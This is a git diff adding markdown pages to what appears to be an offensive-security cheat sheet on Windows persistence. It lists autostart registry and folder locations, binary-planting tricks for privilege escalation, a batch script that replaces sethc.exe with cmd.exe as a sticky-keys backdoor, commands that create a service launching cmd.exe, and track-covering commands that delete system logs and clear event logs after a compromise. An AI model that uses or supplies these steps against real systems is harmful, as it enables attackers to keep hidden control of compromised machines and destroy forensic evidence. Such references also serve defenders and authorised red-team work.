diff --git a/persistence/windows/autostart.md b/persistence/windows/autostart.md new file mode 100644 index 0000000..fce7203 --- /dev/null +++ b/persistence/windows/autostart.md @@ -0,0 +1,94 @@ +## Windows Autostart Locations +### Folders +| Location | Operating System | +| -------- | ---------------- | +| `%SystemDrive%\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\` | Windows NT 6.0, 6.1 | +| `%SystemDrive%\Documents And Settings\All Users\Start Menu\Programs\StartUp\` | Windows 5.0, 5.1, 5.2 | +| `%SystemDrive%\wmiOWS\Start Menu\Programs\StartUp\` | Windows 9x | +| `%SystemDrive%\WINNT\Profiles\All Users\Start Menu\Programs\StartUp\` | Windows NT 3.50, 3.51, 4.0 | +| `User\Startup\` | | +| `%windir%\Start Menu\Programs\Startup\` | | +| `%windir%\Tasks\` | | +| `%windir%\system\iosubsys\` | | +| `%windir%\system\vmm32\` | | + +### Files +| Location | Operating System | +| -------- | ---------------- | +| `%windir%\dosstart.bat` | | +| `%windir%\system.ini` - [boot] "scrnsave.exe" | | +| `%windir%\system.ini` - [boot] "shell" | | +| `%windir%\system\autoexec.nt` | | +| `%windir%\system\config.nt` | | +| `%windir%\win.ini` - [windows] "load" | | +| `%windir%\win.ini` - [windows] "run" | | +| `%windir%\wininit.ini` | | +| `%windir%\winstart.bat` | | +| `c:\autoexec.bat` | | +| `c:\config.sys` | | +| `c:\explorer.exe` | | + +### Registry +| Location | Function | +| -------- | -------- | +| `%windir%\dosstart.bat` | | +| `HKEY_CLASSES_ROOT\batfile\shell\open\command\` | Executed whenever a .BAT file (Batch Command) is run. | +| `HKEY_CLASSES_ROOT\comfile\shell\open\command\` | Executed whenever a .COM file (Command) is run. | +| `HKEY_CLASSES_ROOT\exefile\shell\open\command\` | Executed whenever a .EXE file (Executable) is run. | +| `HKEY_CLASSES_ROOT\jsefile\shell\open\command\` | Executed whenever a .JSE file (Encoded Javascript) is run. | +| `HKEY_CLASSES_ROOT\jsfile\shell\open\command\` | Executed whenever a .JS file (Javascript) is run. | +| `HKEY_CLASSES_ROOT\piffile\shell\open\command\` | Executed whenever a .PIF file (Portable Interchange Format) is run. | +| `HKEY_CLASSES_ROOT\scrfile\shell\open\command\` | Executed whenever a .SCR file (Screen Saver) is run. | +| `HKEY_CLASSES_ROOT\vbefile\shell\open\command\` | Executed whenever a .VBE file (Encoded Visual Basic Script) is run. | +| `HKEY_CLASSES_ROOT\vbsfile\shell\open\command\` | Executed whenever a .VBS file (Visual Basic Script) is run. | +| `HKEY_CLASSES_ROOT\wsffile\shell\open\command\` | Executed whenever a .WSF file (Windows Scripting File) is run. | +| `HKEY_CLASSES_ROOT\wshfile\shell\open\command\` | Executed whenever a .WSH file (Windows Scripting Host) is run. | +| `HKEY_CURRENT_USER\Control Panel\Desktop` | The "SCRNSAVE.EXE" value is monitored. This value is launched when your screen saver activates. | +| `HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\load` | Executed when the user logs in. | +| `HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\run` | Executed when the user logs in. | +| `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\` | Subvalues are executed when Explorer initialises. | +| `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup\` | Used only by Setup. Displays a progress dialog box as the keys are run one at a time. | +| `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\` | All values in this key are executed, and then their autostart reference is deleted. | +| `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\` | All values in this key are executed. | +| `HKEY_LOCAL_MACHINE\Software\Microsoft\Active Setup\Installed Components\` | All subkeys are monitored, with special attention paid to the "StubPath" value in each subkey. | +| `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit` | Executed when a user logs in. | +| `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon` | The "Shell" value is monitored. This value is executed after you log in. | +| `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\` | All values in this key are executed. | +| `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\` | Subvalues are executed when Explorer initialises. | +| `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce\` | All values in this key are executed, and then their autostart reference is deleted. | +| `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce\` | All values in this key are executed as services, and then their autostart reference is deleted. | +| `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\` | All values in this key are executed as services. | +| `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\` | Executed by explorer.exe as soon as it has loaded. | +| `HKEY_LOCAL_MACHINE\System\Control\WOW\cmdline` | Executed when a 16-bit Windows executable is executed. | +| `HKEY_LOCAL_MACHINE\System\Control\WOW\wowcmdline` | Executed when a 16-bit DOS application is executed. | +| `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager` | The "BootExecute" value is monitored. Files listed here are Native Applications that are executed before Windows starts. | +| `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\` | All subkeys are monitored, with special attention paid to the "StaticVXD" value in each subkey. | +| `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Winsock2\Parameters\Protocol_Catalog\Catalog_En tries\` | Layered Service Providers, executed before user login. | +| `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\` | Services marked to startup automatically are executed before user login. | +| `HKEY_USERS\.Default\Software\Microsoft\Windows\CurrentVersion\RunOnce\` | Similar to the RunOnce key from HKEY_CURRENT_USER. | +| `HKEY_USERS\.Default\Software\Microsoft\Windows\CurrentVersion\Run\` | Similar to the Run key from HKEY_CURRENT_USER. | + + +## Windows Operating System Versions +From http://msdn.microsoft.com/en-us/library/windows/desktop/ms724832(v=vs.85).aspx: + +The following table summarizes the most recent operating system version numbers. + +| Operating system | Version number | +| ---------------- | -------------- | +| Windows 8.1 | 6.3 | +| Windows Server 2012 R2 | 6.3 | +| Windows 8 | 6.2 | +| Windows Server 2012 | 6.2 | +| Windows 7 | 6.1 | +| Windows Server 2008 R2 | 6.1 | +| Windows Server 2008 | 6.0 | +| Windows Vista | 6.0 | +| Windows Server 2003 R2 | 5.2 | +| Windows Server 2003 | 5.2 | +| Windows XP 64-Bit Edition | 5.2 | +| Windows XP | 5.1 | +| Windows 2000 | 5.0 | + +## References +A large portion of this content came from https://web.archive.org/web/20110203184210/http://www.easy-data.no/Autostart.html diff --git a/persistence/windows/binary.md b/persistence/windows/binary.md new file mode 100644 index 0000000..c5a7abd --- /dev/null +++ b/persistence/windows/binary.md @@ -0,0 +1,11 @@ +# Windows Binary Planting + +Binary Planting is essentially putting binary is a specific place, be it moved, copied or uploaded to create the desired effect. In this section we'll be going over the use of binary planting to escalate privileges. + +| Command | Description / Importance | +| ------- | ------------------------ | +| `%SystemRoot%\System32\wbem\mof\` | Taken from Stuxnet: http://blogs.iss.net/archive/papers/ibm-xforce-an-inside-look-at-stuxnet.pdf Look for Print spooler vulnerability. | +| `echo $PATH` | Check the $PATH environmental variable. Some directories may be writable. See: https://www.htbridge.com/advisory/HTB23108 | +| `msiexec.exe` | Idea taken from here: http://goo.gl/E3LTa - basically put evil binary named msiexec.exe in Downloads directory and when a installer calles msiexec without specifying path you get code execution. | +| `sc create cmdsys type= own type= interact binPath= "c:\windows\system32\cmd.exe /c cmd.exe" & sc start cmdsys` | Create malicious services. | +|Replacing file as: sethc.exe
@echo off
c: > nul\\cd\ > nul\\cd %SYSTEMROOT%\System32\ > nul
if exist %SYSTEMROOT%\System32\cmdsys\ rd /q %SYSTEMROOT%\System32\cmdsys\ > nul
cmd %SYSTEMROOT%\System32\cmdsys\ > nul
copy /y c:\windows\system32\cmd.exe c:\windows\system32\cmdsys\cmd.bkp /y > nul
copy /y c:\windows\system32\sethc.exe c:\windows\system32\cmdsys\sethc.bkp /y > nul
copy /y c:\windows\system32\cmd.exe c:\windows\system32\cmdsys\sethc.exe /y > nul
copy /y c:\windows\system32\cmdsys\sethc.exe c:\windows\system32\sethc.exe /y > nul
exit
| By doing this, you just have to press the sticky key activation key. From Wikipedia.org: To enable this shortcut, the ?Shift key must be pressed 5 times in short succession. This feature can also be turned on and off via the Accessibility icon in the Windows Control Panel. To turn off once enabled, just simply press 3 or more of the Sticky Keys (Ctrl, Alt, Shift, Windows Button) at the same time. | \ No newline at end of file diff --git a/persistence/windows/cover.md b/persistence/windows/cover.md new file mode 100644 index 0000000..8cb0657 --- /dev/null +++ b/persistence/windows/cover.md @@ -0,0 +1,74 @@ + + + +# Windows Covering Tracks Commands + +Commands to run to clean up a system after you have exploited it and to reduce a target's ability to discover what you did while on their system and are usually executed from the context of the `cmd.exe` or `command.exe` prompt. + +## del +### Delete Logs + * **Command with arguments**: `del %WINDIR%\*.log /a /s /q /f` + * **Description**: **MUST be run as an administrator**. Deletes all *.log files from the %WINDIR% directory. + * **Output**: + * NA + +---- + +## wevtutil +### List Logs + * **Command with arguments**: `wevutil el` + * **Description**: Lists the different log files the system is keeping. More information can be found http://technet.microsoft.com/en-us/library/cc732848(WS.10).aspx + * **Output**: + *
**Windows 2008:** Show/Hide
C:\Users\johndoe>wevtutil el +Application +DFS Replication +Directory Service +DNS Server +File Replication Service +HardwareEvents +Internet Explorer +Key Management Service +Security +System +ThinPrint Diagnostics +EndpointMapper +ForwardedEvents +Microsoft-Windows-ADSI/Debug +Microsoft-Windows-Bits-Client/Analytic +Microsoft-Windows-Bits-Client/Operational +Microsoft-Windows-CAPI2/Operational +Microsoft-Windows-CertificateServicesClient-CredentialRoaming/Operational +Microsoft-Windows-CodeIntegrity/Operational +Microsoft-Windows-CodeIntegrity/Verbose +Microsoft-Windows-COM/Analytic +Microsoft-Windows-CorruptedFileRecovery-Client/Operational +Microsoft-Windows-CorruptedFileRecovery-Server/Operational +Microsoft-Windows-CredUI/Diagnostic +Microsoft-Windows-DateTimeControlPanel/Analytic +Microsoft-Windows-DateTimeControlPanel/Debug +Microsoft-Windows-DateTimeControlPanel/Operational +Microsoft-Windows-DCLocator/Debug +Microsoft-Windows-Diagnosis-DPS/Analytic +Microsoft-Windows-Diagnosis-DPS/Debug +Microsoft-Windows-Diagnosis-DPS/Operational +Microsoft-Windows-Diagnosis-MSDT/Debug +Microsoft-Windows-Diagnosis-MSDT/Operational +Microsoft-Windows-Diagnosis-PLA/Debug +Microsoft-Windows-Diagnosis-PLA/Operational +Microsoft-Windows-Diagnosis-WDI/Debug +Microsoft-Windows-Diagnostics-Networking/Debug +[...snip...]
+ +### Clear Logs + * **Command with arguments**: `wevtutil cl [LOGNAME]` + * **Description**: **MUST be run as an administrator**. Clears the contents of a specific log. + * **Output**: + *
**Windows 2008:** Show/Hide
c:\temp>wevtutil cl Microsoft-Windows-EventLog/Debug
\ No newline at end of file diff --git a/persistence/windows/index.md b/persistence/windows/index.md new file mode 100755 index 0000000..03274f3 --- /dev/null +++ b/persistence/windows/index.md @@ -0,0 +1,4 @@ +# Windows Persistence Commands + +Commands that help you maintain control over a compromised system. +